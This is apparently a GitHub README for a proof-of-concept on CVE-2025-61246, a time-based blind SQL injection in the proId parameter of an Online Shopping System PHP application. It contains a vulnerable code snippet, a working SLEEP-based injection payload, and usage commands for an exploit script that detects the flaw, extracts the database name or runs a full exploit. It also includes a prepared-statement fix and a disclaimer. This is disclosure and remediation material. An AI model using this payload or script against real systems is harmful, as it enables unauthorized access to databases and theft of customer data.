hackergovind/cve-2025-61246CVE-2025-61246: SQL Injection vulnerability PoC in Online Shopping System PHP
This repository contains a Proof of Concept (PoC) for CVE-2025-61246, a critical SQL Injection vulnerability discovered in the Online Shopping System PHP application. The vulnerability allows an unauthenticated attacker to execute arbitrary SQL commands through time-based blind SQL injection.
/online-shopping-system-php-master/review_action.phpproIdThe vulnerability exists in the review_action.php endpoint where user-supplied input from the proId parameter is directly incorporated into SQL queries without proper sanitization or parameterized queries. This allows an attacker to inject malicious SQL payloads that can:
// Vulnerable code (example)
$proId = $_POST['proId'];
$query = "SELECT * FROM products WHERE id = " . $proId;
mysqli_query($conn, $query);
An attacker can exploit this vulnerability by:
/online-shopping-system-php-master/review_action.phpproId parameterproId=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
This repository includes:
exploit.py) - Python script to detect and exploit the vulnerabilityMANUAL_TESTING.md) - Step-by-step instructions for manual exploitationdocker-compose.yml) - Docker environment for safe testingREMEDIATION.md) - Secure coding practices and patchesPython 3.7+
pip install -r requirements.txt
# Clone the repository
git clone https://github.com/hackergovind/CVE-2025-61246.git
cd CVE-2025-61246
# Install dependencies
pip install -r requirements.txt
# Run the exploit
python exploit.py --url http://target.com/online-shopping-system-php-master/review_action.php
# Detection only (no exploitation)
python exploit.py --url http://target.com/review_action.php --detect-only
# Extract database name
python exploit.py --url http://target.com/review_action.php --extract-db
# Full exploitation with custom timeout
python exploit.py --url http://target.com/review_action.php --timeout 10 --full-exploit
# Use proxy for testing
python exploit.py --url http://target.com/review_action.php --proxy http://127.0.0.1:8080
Successful exploitation of this vulnerability can lead to:
// Secure implementation using prepared statements
$proId = $_POST['proId'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $proId);
$stmt->execute();
$result = $stmt->get_result();
For detailed remediation steps, see REMEDIATION.md.
⚠️ IMPORTANT: This PoC is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this information. Always obtain proper authorization before testing.
Govind Pratap Singh
This project is licensed under the MIT License - see the LICENSE file for details.
Responsible Disclosure: If you discover a security vulnerability, please report it responsibly to the vendor before public disclosure.